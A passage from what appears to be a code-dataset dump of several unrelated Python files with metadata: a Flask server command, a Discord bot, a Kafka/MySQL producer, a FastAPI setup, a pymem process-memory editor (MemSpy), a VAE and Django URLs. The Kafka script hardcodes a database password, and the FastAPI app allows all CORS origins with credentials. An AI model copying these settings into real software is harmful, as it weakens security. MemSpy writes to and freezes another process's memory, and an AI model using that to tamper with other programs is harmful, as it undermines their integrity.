MONGO_PORT=current_app.config.get(\"MONGO_PORT\", 27017),\n MONGO_DBNAME=current_app.config.get(\"MONGO_DBNAME\", 'scout'),\n MONGO_USERNAME=current_app.config.get(\"MONGO_USERNAME\", None),\n MONGO_PASSWORD=current_app.config.get(\"MONGO_PASSWORD\", None),\n )\n\n valid_connection = check_connection(\n host=pymongo_config['MONGO_HOST'],\n port=pymongo_config['MONGO_PORT'],\n username=pymongo_config['MONGO_USERNAME'],\n password=pymongo_config['MONGO_PASSWORD'],\n authdb=current_app.config.get(\"MONGO_DBNAME\", 'scout'),\n )\n\n LOG.info(\"Test if mongod is running\")\n if not valid_connection:\n LOG.warning(\"Connection could not be established\")\n LOG.info(\"Is mongod running?\")\n raise click.Abort()\n\n if test:\n LOG.info('Connection could be established')\n return\n\n if livereload:\n server = Server(current_app.wsgi_app)\n server.serve(host=host, port=port, debug=debug)\n else:\n return run_simple(\n hostname=host,\n port=port,\n application=current_app,\n use_reloader=False,\n use_debugger=debug,\n )\n", "repo_name": "Clinical-Genomics-Lund/scout", "sub_path": "scout/commands/serve.py", "file_name": "serve.py", "file_ext": "py", "file_size_in_byte": 2054, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config.get", "line_number": 24, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config", "line_number": 24, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.cli.current_app.config.get", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config", "line_number": 25, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.cli.current_app.config.get", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.cli.current_app.config.get", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.cli.current_app.config.get", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config", "line_number": 28, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 28, "usage_type": "name"}, {"api_name": "scout.adapter.utils.check_connection", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config.get", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.cli.current_app.config", "line_number": 36, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 36, "usage_type": "name"}, {"api_name": "click.Abort", "line_number": 43, "usage_type": "call"}, {"api_name": "livereload.Server", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.cli.current_app.wsgi_app", "line_number": 50, "usage_type": "attribute"}, {"api_name": "flask.cli.current_app", "line_number": 50, "usage_type": "name"}, {"api_name": "werkzeug.serving.run_simple", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.cli.current_app", "line_number": 56, "usage_type": "name"}, {"api_name": "click.command", "line_number": 14, "usage_type": "call"}, {"api_name": "click.option", "line_number": 15, "usage_type": "call"}, {"api_name": "click.option", "line_number": 16, "usage_type": "call"}, {"api_name": "click.option", "line_number": 17, "usage_type": "call"}, {"api_name": "click.option", "line_number": 18, "usage_type": "call"}, {"api_name": "click.option", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.cli.with_appcontext", "line_number": 20, "usage_type": "name"}]} {"seq_id": "8195420612", "text": "import random\r\nfrom discord.ext import commands\r\n\r\nbot=commands.Bot(command_prefix='=')\r\n\r\nclass cointoss(commands.Cog):\r\n def __init__(self,bot):\r\n self.bot=bot\r\n\r\n @bot.command(name='cointoss', aliases=['moneta'], description='Losuje reszkę lub orła')\r\n async def coin_toss(self, ctx):\r\n x = ['Wypadła reszka','Wypadł orzeł']\r\n side = random.choice(x)\r\n await ctx.send(side)\r\n\r\ndef setup(bot):\r\n bot.add_cog(cointoss(bot))\r\n", "repo_name": "Gartosz/pjs_Bartosz_Galczynski_2021", "sub_path": "cointoss.py", "file_name": "cointoss.py", "file_ext": "py", "file_size_in_byte": 471, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 4, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 4, "usage_type": "name"}, {"api_name": "discord.ext.commands.Cog", "line_number": 6, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 6, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 13, "usage_type": "call"}]} {"seq_id": "9286492614", "text": "# Import the required libraries\n\nimport numpy as np\nimport pandas as pd\nfrom kafka import KafkaProducer, KafkaConsumer # importing producer and consumer for data transformation\nimport mysql.connector # To connect with mysql server\nfrom json import dumps # To serialize the data\nimport time\n\n# Mysql database connection\nconnection = mysql.connector.connect(\n host = 'localhost', \n database = 'emp_attrition_db',\n user = 'root',\n password = 'password@123'\n )\n\n# Set the cursor to fetch all the records from the employee table\ncursor = connection.cursor()\ncursor.execute('select * from emp_details')\nrecord = cursor.fetchall()\ncursor.close()\nconnection.close()\n\n# Obtained data from the cursor will be in the form of list\n# Converting the list to dataframe\ndf = pd.DataFrame(record, columns=['EmployeeNumber', 'Age', 'Attrition', 'Business_Travel', 'DailyRate', 'Department', \n 'Distance_From_Home', 'Education_in_years', 'Education_Field', 'Emp_count'])\nprint(df.sample(5))\n\n#create an instance of the KafkaProducer connecting to local kafka server and JSON value serializer\nproducer = KafkaProducer(\n bootstrap_servers=[\"localhost:9092\"],\n value_serializer= lambda m: dumps(m).encode('utf-8') # Encoding the data to 'utf-8' format\n )\n\n\n# Transferring the data to Kafka Topic\nproducer.send(\"employee_attrition\", record)\nproducer.flush()\ntime.sleep(3)\n", "repo_name": "gowtham12591/Data-Pipeline", "sub_path": "Employee_Attrition/producer.py", "file_name": "producer.py", "file_ext": "py", "file_size_in_byte": 1694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "mysql.connector.connector.connect", "line_number": 11, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 11, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 11, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "kafka.KafkaProducer", "line_number": 32, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 34, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 41, "usage_type": "call"}]} {"seq_id": "45677934404", "text": "import json\n\ndef get_stored_username(filename):\n try:\n with open(filename) as f_obj:\n username=json.load(f_obj)\n except FileNotFoundError:\n return None\n else:\n return username\n\ndef get_new_username(filename):\n username=input('Please input you username:\\n')\n with open(filename,'w') as f_obj:\n json.dump(username,f_obj)\n return filename\n\ndef greet_user(filename):\n username=get_stored_username(filename)\n if username:\n while True:\n centery=input('You name is '+username+'? Please entry Y/N:')\n if centery.lower() in ['y','n']:\n break\n if centery.lower()=='y':\n print('Welcome back:'+username)\n else:\n get_new_username(filename)\n else:\n username=get_new_username(filename)\n print('We\\'ll remember you when you come back,'+username+'!')\n\nfilename='username.json'\ngreet_user(filename)\n", "repo_name": "hefrankeleyn/pythonWP", "sub_path": "homework_007/demo04.py", "file_name": "demo04.py", "file_ext": "py", "file_size_in_byte": 941, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.load", "line_number": 6, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 15, "usage_type": "call"}]} {"seq_id": "41446949010", "text": "from fastapi import FastAPI\nfrom fastapi.exceptions import RequestValidationError, HTTPException\nfrom pydantic import ValidationError\nfrom starlette.authentication import AuthenticationError\nfrom starlette.middleware import Middleware\n\nfrom app.api import api_router\nfrom setting import setting\nfrom .fastapi.middlewares import AuthenticationMiddleware, AuthBackend, ResponseLogMiddleware\nfrom .helper.exception_handler import fastapi_error_handler, request_validation_exception_handler, \\\n validation_exception_handler, http_exception_handler, CommonException, base_exception_handler\nfrom .helper.db import db_engine\nfrom starlette_context.middleware import ContextMiddleware\nfrom starlette.requests import Request, HTTPConnection\n\nfrom .helper.prometheus_middleware import PrometheusMiddleware, handle_metrics\nfrom opentelemetry.sdk.resources import Resource, SERVICE_NAME\nfrom opentelemetry import trace\nfrom opentelemetry.exporter.jaeger.thrift import JaegerExporter\nfrom opentelemetry.instrumentation.fastapi import FastAPIInstrumentor\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\nfrom opentelemetry.instrumentation.requests import RequestsInstrumentor\nfrom opentelemetry.instrumentation.sqlalchemy import SQLAlchemyInstrumentor\nfrom opentelemetry.sdk.trace.sampling import TraceIdRatioBased\nfrom fastapi.middleware.cors import CORSMiddleware\n\n\nclass GetLanguageMiddleware(ContextMiddleware):\n async def set_context(self, request: Request) -> dict:\n return {\"lang\": request.headers.get('Accept-Language')}\n\n\ndef on_auth_error(conn: HTTPConnection, exc: AuthenticationError):\n raise HTTPException(status_code=401, detail=\"Unauthorized\")\n\n\nmiddleware = [\n Middleware(\n GetLanguageMiddleware,\n ),\n Middleware(\n AuthenticationMiddleware,\n backend=AuthBackend(),\n on_error=on_auth_error,\n ),\n Middleware(ResponseLogMiddleware),\n]\n\n\ndef create_app() -> FastAPI:\n app = FastAPI(\n title=setting.PROJECT_TITLE, docs_url='/core/docs',\n middleware=middleware\n )\n\n app.add_middleware(PrometheusMiddleware, app_name=\"edusun-service\",\n exclude_paths=['/api/v1/health/check', '/metrics'])\n app.add_route(\"/metrics\", handle_metrics)\n app.include_router(api_router, prefix=\"/api\")\n if setting.JAEGER_ENABLED:\n sampler = TraceIdRatioBased(setting.JAEGER_SAMPLING_RATE)\n trace.set_tracer_provider(\n TracerProvider(\n resource=Resource.create({SERVICE_NAME: \"EduSun Service\"}),\n sampler=sampler\n )\n )\n jaeger_exporter = JaegerExporter(\n agent_host_name=setting.JAEGER_AGENT_HOST, agent_port=setting.JAEGER_AGENT_PORT,\n )\n span_processor = BatchSpanProcessor(jaeger_exporter)\n trace.get_tracer_provider().add_span_processor(span_processor)\n SQLAlchemyInstrumentor().instrument(engine=db_engine)\n RequestsInstrumentor().instrument()\n FastAPIInstrumentor.instrument_app(app, excluded_urls='health/*,metrics')\n\n # Set all CORS enabled origins\n app.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n )\n\n # Add exception\n app.add_exception_handler(CommonException, base_exception_handler)\n app.add_exception_handler(HTTPException, http_exception_handler)\n app.add_exception_handler(ValidationError, validation_exception_handler)\n app.add_exception_handler(RequestValidationError, request_validation_exception_handler)\n app.add_exception_handler(Exception, fastapi_error_handler)\n\n return app\n", "repo_name": "Trinh67/edusun-api", "sub_path": "app/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 3723, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "starlette_context.middleware.ContextMiddleware", "line_number": 29, "usage_type": "name"}, {"api_name": "starlette.requests.Request", "line_number": 30, "usage_type": "name"}, {"api_name": "starlette.requests.HTTPConnection", "line_number": 34, "usage_type": "name"}, {"api_name": "starlette.authentication.AuthenticationError", "line_number": 34, "usage_type": "name"}, {"api_name": "fastapi.exceptions.HTTPException", "line_number": 35, "usage_type": "call"}, {"api_name": "starlette.middleware.Middleware", "line_number": 39, "usage_type": "call"}, {"api_name": "starlette.middleware.Middleware", "line_number": 42, "usage_type": "call"}, {"api_name": "fastapi.middlewares.AuthenticationMiddleware", "line_number": 43, "usage_type": "argument"}, {"api_name": "fastapi.middlewares.AuthBackend", "line_number": 44, "usage_type": "call"}, {"api_name": "starlette.middleware.Middleware", "line_number": 47, "usage_type": "call"}, {"api_name": "fastapi.middlewares.ResponseLogMiddleware", "line_number": 47, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 52, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 52, "usage_type": "call"}, {"api_name": "setting.setting.PROJECT_TITLE", "line_number": 53, "usage_type": "attribute"}, {"api_name": "setting.setting", "line_number": 53, "usage_type": "name"}, {"api_name": "app.api.add_middleware", "line_number": 57, "usage_type": "call"}, {"api_name": "helper.prometheus_middleware.PrometheusMiddleware", "line_number": 57, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 57, "usage_type": "name"}, {"api_name": "app.api.add_route", "line_number": 59, "usage_type": "call"}, {"api_name": "helper.prometheus_middleware.handle_metrics", "line_number": 59, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 59, "usage_type": "name"}, {"api_name": "app.api.include_router", "line_number": 60, "usage_type": "call"}, {"api_name": "app.api.api_router", "line_number": 60, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 60, "usage_type": "name"}, {"api_name": "setting.setting.JAEGER_ENABLED", "line_number": 61, "usage_type": "attribute"}, {"api_name": "setting.setting", "line_number": 61, "usage_type": "name"}, {"api_name": "opentelemetry.sdk.trace.sampling.TraceIdRatioBased", "line_number": 62, "usage_type": "call"}, {"api_name": "setting.setting.JAEGER_SAMPLING_RATE", "line_number": 62, "usage_type": "attribute"}, {"api_name": "setting.setting", "line_number": 62, "usage_type": "name"}, {"api_name": "opentelemetry.trace.set_tracer_provider", "line_number": 63, "usage_type": "call"}, {"api_name": "opentelemetry.trace", "line_number": 63, "usage_type": "name"}, {"api_name": "opentelemetry.sdk.trace.TracerProvider", "line_number": 64, "usage_type": "call"}, {"api_name": "opentelemetry.sdk.resources.Resource.create", "line_number": 65, "usage_type": "call"}, {"api_name": "opentelemetry.sdk.resources.Resource", "line_number": 65, "usage_type": "name"}, {"api_name": "opentelemetry.sdk.resources.SERVICE_NAME", "line_number": 65, "usage_type": "name"}, {"api_name": "opentelemetry.exporter.jaeger.thrift.JaegerExporter", "line_number": 69, "usage_type": "call"}, {"api_name": "setting.setting.JAEGER_AGENT_HOST", "line_number": 70, "usage_type": "attribute"}, {"api_name": "setting.setting", "line_number": 70, "usage_type": "name"}, {"api_name": "setting.setting.JAEGER_AGENT_PORT", "line_number": 70, "usage_type": "attribute"}, {"api_name": "opentelemetry.sdk.trace.export.BatchSpanProcessor", "line_number": 72, "usage_type": "call"}, {"api_name": "opentelemetry.trace.get_tracer_provider", "line_number": 73, "usage_type": "call"}, {"api_name": "opentelemetry.trace", "line_number": 73, "usage_type": "name"}, {"api_name": "opentelemetry.instrumentation.sqlalchemy.SQLAlchemyInstrumentor", "line_number": 74, "usage_type": "call"}, {"api_name": "helper.db.db_engine", "line_number": 74, "usage_type": "name"}, {"api_name": "opentelemetry.instrumentation.requests.RequestsInstrumentor", "line_number": 75, "usage_type": "call"}, {"api_name": "opentelemetry.instrumentation.fastapi.FastAPIInstrumentor.instrument_app", "line_number": 76, "usage_type": "call"}, {"api_name": "app.api", "line_number": 76, "usage_type": "argument"}, {"api_name": "opentelemetry.instrumentation.fastapi.FastAPIInstrumentor", "line_number": 76, "usage_type": "name"}, {"api_name": "app.api.add_middleware", "line_number": 79, "usage_type": "call"}, {"api_name": "fastapi.middleware.cors.CORSMiddleware", "line_number": 80, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 79, "usage_type": "name"}, {"api_name": "app.api.add_exception_handler", "line_number": 88, "usage_type": "call"}, {"api_name": "helper.exception_handler.CommonException", "line_number": 88, "usage_type": "argument"}, {"api_name": "helper.exception_handler.base_exception_handler", "line_number": 88, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 88, "usage_type": "name"}, {"api_name": "app.api.add_exception_handler", "line_number": 89, "usage_type": "call"}, {"api_name": "fastapi.exceptions.HTTPException", "line_number": 89, "usage_type": "argument"}, {"api_name": "helper.exception_handler.http_exception_handler", "line_number": 89, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 89, "usage_type": "name"}, {"api_name": "app.api.add_exception_handler", "line_number": 90, "usage_type": "call"}, {"api_name": "pydantic.ValidationError", "line_number": 90, "usage_type": "argument"}, {"api_name": "helper.exception_handler.validation_exception_handler", "line_number": 90, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 90, "usage_type": "name"}, {"api_name": "app.api.add_exception_handler", "line_number": 91, "usage_type": "call"}, {"api_name": "fastapi.exceptions.RequestValidationError", "line_number": 91, "usage_type": "argument"}, {"api_name": "helper.exception_handler.request_validation_exception_handler", "line_number": 91, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 91, "usage_type": "name"}, {"api_name": "app.api.add_exception_handler", "line_number": 92, "usage_type": "call"}, {"api_name": "helper.exception_handler.fastapi_error_handler", "line_number": 92, "usage_type": "argument"}, {"api_name": "app.api", "line_number": 92, "usage_type": "name"}, {"api_name": "app.api", "line_number": 94, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 51, "usage_type": "name"}]} {"seq_id": "33910884552", "text": "from pymem.exception import MemoryReadError, MemoryWriteError\nfrom multiprocessing import Process, Queue\nfrom utils.message import Message, empty\nfrom pymem import Pymem\nfrom sys import exit\n\n\nclass MemoryView(Process):\n\n\tdef __init__(self, process_name: str, in_queue: Queue, out_queue: Queue, **kargs):\n\t\tsuper(MemoryView, self).__init__(kwargs=kargs)\n\t\tself.frozen_addresses = []\n\t\tself.selected_addresses = []\n\t\tself.in_queue = in_queue\n\t\tself.out_queue = out_queue\n\t\tself.process_name = process_name\n\t\tself.process_reader = None\n\n\tdef run(self):\n\t\tself.process_reader = Pymem(process_name=self.process_name)\n\t\tproc_message: Message = empty\n\t\t\n\t\twhile True:\n\t\t\tif not self.in_queue.empty():\n\t\t\t\tproc_message = self.in_queue.get_nowait()\n\t\t\t\tprint(proc_message.message_type, proc_message.message)\n\n\t\t\taction = proc_message.message_type\n\n\t\t\tif action == 'EXIT':\n\t\t\t\texit(proc_message.message[0])\n\t\t\tif action == 'RESET':\n\t\t\t\tself.reset_process(proc_message.message[0])\n\t\t\t\tself.process_reader = Pymem(process_name=self.process_name)\n\t\t\tif action == 'ADD_ADDRESS':\n\t\t\t\tsuccess = self.select_address(proc_message.message[0])\n\t\t\t\tself.out_queue.put(Message(message_type='ADDRESS_ADDED', message=[success]))\n\t\t\tif action == 'DELETE_ADDRESS':\n\t\t\t\tself.delete_address(proc_message.message[0])\n\t\t\tif action == 'EDIT_ADDRESS':\n\t\t\t\tself.set_value(proc_message.message[0], proc_message.message[1])\n\t\t\tif action == 'FREEZE_ADDRESS':\n\t\t\t\tself.freeze_address(proc_message.message[0])\n\t\t\tif action == 'UNFREEZE_ADDRESS':\n\t\t\t\tself.unfreeze_address(proc_message.message[0])\n\t\t\tif action == 'UPDATE_VALUES':\n\t\t\t\tself.out_queue.put(Message(message_type='UPDATE_RESULT', message=self.collect_values()))\n\n\t\t\ttry:\n\t\t\t\tfor address in self.selected_addresses:\n\t\t\t\t\tif address not in self.frozen_addresses:\n\t\t\t\t\t\taddress.value = self.process_reader.read_bytes(address, len(address))\n\t\t\t\tfor address in self.frozen_addresses:\n\t\t\t\t\tself.process_reader.write_bytes(address, address.value, len(address))\n\t\t\texcept MemoryReadError as e:\n\t\t\t\tprint(e)\n\t\t\tproc_message = empty\n\n\tdef collect_values(self):\n\t\treturn [address.value for address in self.selected_addresses]\n\n\tdef freeze_address(self, index: int):\n\t\tself.frozen_addresses.append(self.selected_addresses[index])\n\n\tdef select_address(self, address: int):\n\t\tif address in self.selected_addresses:\n\t\t\treturn False\n\t\tself.selected_addresses.append(address)\n\t\treturn True\n\t\n\tdef set_value(self, index: int, value: bytes):\n\t\tself.selected_addresses[index].value = value\n\t\ttry:\n\t\t\tself.process_reader.write_bytes(self.selected_addresses[index], value, len(self.selected_addresses[index]))\n\t\texcept MemoryWriteError as e:\n\t\t\tprint('Write Error', type(e))\n\n\tdef unfreeze_address(self, index: int):\n\t\tself.frozen_addresses.remove(self.selected_addresses[index])\n\n\tdef delete_address(self, index: int):\n\t\taddress = self.selected_addresses[index]\n\t\tif address in self.frozen_addresses:\n\t\t\tself.frozen_addresses.remove(address)\n\t\tself.selected_addresses.remove(address)\n\n\tdef reset_process(self, process_name: str):\n\t\tself.frozen_addresses = []\n\t\tself.selected_addresses = []\n\t\tself.process_name = process_name\n", "repo_name": "nikos-pap/MemSpy", "sub_path": "backend/memoryview.py", "file_name": "memoryview.py", "file_ext": "py", "file_size_in_byte": 3128, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "multiprocessing.Process", "line_number": 8, "usage_type": "name"}, {"api_name": "multiprocessing.Queue", "line_number": 10, "usage_type": "name"}, {"api_name": "pymem.Pymem", "line_number": 20, "usage_type": "call"}, {"api_name": "utils.message.Message", "line_number": 21, "usage_type": "name"}, {"api_name": "utils.message.empty", "line_number": 21, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 31, "usage_type": "call"}, {"api_name": "pymem.Pymem", "line_number": 34, "usage_type": "call"}, {"api_name": "utils.message.Message", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.message.Message", "line_number": 47, "usage_type": "call"}, {"api_name": "pymem.exception.MemoryReadError", "line_number": 55, "usage_type": "name"}, {"api_name": "utils.message.empty", "line_number": 57, "usage_type": "name"}, {"api_name": "pymem.exception.MemoryWriteError", "line_number": 75, "usage_type": "name"}]} {"seq_id": "22460794579", "text": "import torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass VAE(nn.Module):\n def __init__(self, img_D=784, H=400, latent_size=20, num_class=10):\n super(VAE, self).__init__()\n\n self.latent_size = latent_size\n\n self.encoder = Encoder(D_in=img_D, H=H, latent_size=latent_size)\n self.decoder = Decoder(H=H, D_out=img_D, latent_size=latent_size)\n\n def reparameterize(self, mu, logvar):\n std = torch.exp(0.5*logvar)\n eps = torch.randn_like(std)\n return mu + eps*std\n\n\n def forward(self, x, z=None):\n\n x = x.view(x.size(0), -1)\n mu, log_var = self.encoder(x)\n z = self.reparameterize(mu, log_var)\n x_hat = self.decoder(z)\n\n return x_hat, mu, log_var, z\n\nclass Encoder(nn.Module):\n def __init__(self, D_in=784, H=400, latent_size=20):\n super(Encoder, self).__init__()\n\n self.linear1 = torch.nn.Linear(D_in, H)\n self.linear_mean = nn.Linear(H, latent_size)\n self.linear_log_var = nn.Linear(H, latent_size)\n\n def forward(self, x):\n\n x = F.relu(self.linear1(x))\n mu = self.linear_mean(x)\n log_var = self.linear_log_var(x)\n return mu, log_var\n\nclass Decoder(nn.Module):\n def __init__(self, H=400, D_out=784, latent_size=20):\n super(Decoder, self).__init__()\n \n self.linear1 = torch.nn.Linear(latent_size, H)\n self.linear2 = torch.nn.Linear(H, D_out)\n\n def forward(self, x):\n\n x = F.relu(self.linear1(x))\n return torch.sigmoid(self.linear2(x))", "repo_name": "hhjung1202/OwnAdaptation", "sub_path": "VAE/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 1566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.exp", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.randn_like", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.relu", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 54, "usage_type": "name"}, {"api_name": "torch.sigmoid", "line_number": 55, "usage_type": "call"}]} {"seq_id": "228146325", "text": "# coding:utf-8\n\nimport json\nimport re\n\nfrom jpype import *\nfrom jpype._jclass import _javaNew\n\n\ndef find_root_word(sentence, hanlp):\n res = hanlp.parseDependency(sentence)\n # 找出核心词\n for w in res.word:\n if w.HEAD.ID == 0:\n return w\n return -1\n\n\ndef is_center_word_verb(sentence, hanlp):\n if len(sentence) > 50:\n return True\n if len(sentence) <= 10:\n return True\n w = find_root_word(sentence, hanlp)\n if w != -1 and re.match(r'^[vVadicn](\\w?)$', w.CPOSTAG):\n return True\n return False\n\n\ndef test2():\n startJVM(getDefaultJVMPath(), \"-Djava.class.path=D:\\hanlp\\hanlp-1.7.0.jar;D:\\hanlp\", \"-Xms1g\",\n \"-Xmx1g\") # 启动JVM，Linux需替换分号;为冒号:\n HanLP = JClass('com.hankcs.hanlp.HanLP')\n print(HanLP.parseDependency('又试图用炸药炸开石门失败后沮丧至极'))\n print(is_center_word_verb('又试图用炸药炸开石门失败后沮丧至极', HanLP))\n shutdownJVM()\n\n\ndef test3():\n startJVM(getDefaultJVMPath(), \"-Djava.class.path=D:\\hanlp\\hanlp-1.7.0.jar;D:\\hanlp\", \"-Xms1g\",\n \"-Xmx1g\") # 启动JVM，Linux需替换分号;为冒号:\n HanLP = JClass('com.hankcs.hanlp.dependency.nnparser.NeuralNetworkDependencyParser')\n print(HanLP.compute('又试图用炸药炸开石门失败后沮丧至极'))\n # print(is_center_word_verb('又试图用炸药炸开石门失败后沮丧至极', HanLP))\n shutdownJVM()\n\ndef test():\n startJVM(getDefaultJVMPath(), \"-Djava.class.path=D:\\hanlp\\hanlp-1.7.0.jar;D:\\hanlp\", \"-Xms1g\",\n \"-Xmx1g\") # 启动JVM，Linux需替换分号;为冒号:\n HanLP = JClass('com.hankcs.hanlp.HanLP')\n with open(\n 'D:/20181101_审核内容情感分析/export_feedback_audit_2018-11-06/material/material5_pure_else_name_entity_else.json',\n 'r',\n encoding='utf-8') as f:\n data = json.load(f)\n f.close()\n syntactic = []\n syntactic_else = []\n for item in data:\n sentences = re.split('[.!?。]', item['text'])\n temp_sentences = []\n hits = item['risks'][0]['hit']\n for sen in sentences:\n for hit in hits:\n if hit in sen:\n temp_sentences.append(sen)\n is_verb = False\n for temp_sen in temp_sentences:\n if is_center_word_verb(temp_sen, HanLP): # 如果中心词是动词或者形容词或者句子过长，都认为是正常\n is_verb = True\n if not is_verb:\n syntactic.append(item)\n else:\n syntactic_else.append(item)\n with open(\n 'D:/20181101_审核内容情感分析/export_feedback_audit_2018-11-06/material'\n '/material5_pure_else_name_entity_else_syntactic.json',\n 'w',\n encoding='utf-8') as f:\n json.dump(syntactic, f, ensure_ascii=False)\n f.close()\n with open(\n 'D:/20181101_审核内容情感分析/export_feedback_audit_2018-11-06/material'\n '/material5_pure_else_name_entity_else_syntactic_else.json',\n 'w',\n encoding='utf-8') as f:\n json.dump(syntactic_else, f, ensure_ascii=False)\n f.close()\n shutdownJVM()\n\n\nif __name__ == '__main__':\n test()\n", "repo_name": "baiyuting/ml", "sub_path": "logistic/syntactic_dependency_tree.py", "file_name": "syntactic_dependency_tree.py", "file_ext": "py", "file_size_in_byte": 3263, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "re.match", "line_number": 25, "usage_type": "call"}, {"api_name": "json.load", "line_number": 55, "usage_type": "call"}, {"api_name": "re.split", "line_number": 60, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 80, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 87, "usage_type": "call"}]} {"seq_id": "12806040195", "text": "from django.conf.urls import patterns, include, url\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^$', 'signups.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n url(r'^thank-you/$', 'signups.views.thankyou', name='thankyou'),\n url(r'^about-us/$', 'signups.views.aboutus', name='aboutus'),\n url(r'^Dashboard/$', 'signups.views.dashboard', name='dashboard'),\n url(r'^data/$', 'signups.views.data', name='data'),\n url(r'^login/$', 'django.contrib.auth.views.login'),\n url(r'^logout/$', 'django.contrib.auth.views.logout', {'next_page': '/logoutsuccess'}),\n url(r'^logoutsuccess/$', 'signups.views.logoutsuccess', name='logout'),\n url(r'^admin/', include(admin.site.urls)),\n)\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL,\n document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT) ", "repo_name": "mystock/src", "sub_path": "src/mvp_landing/urls.py", "file_name": "urls.py", "file_ext": "py", 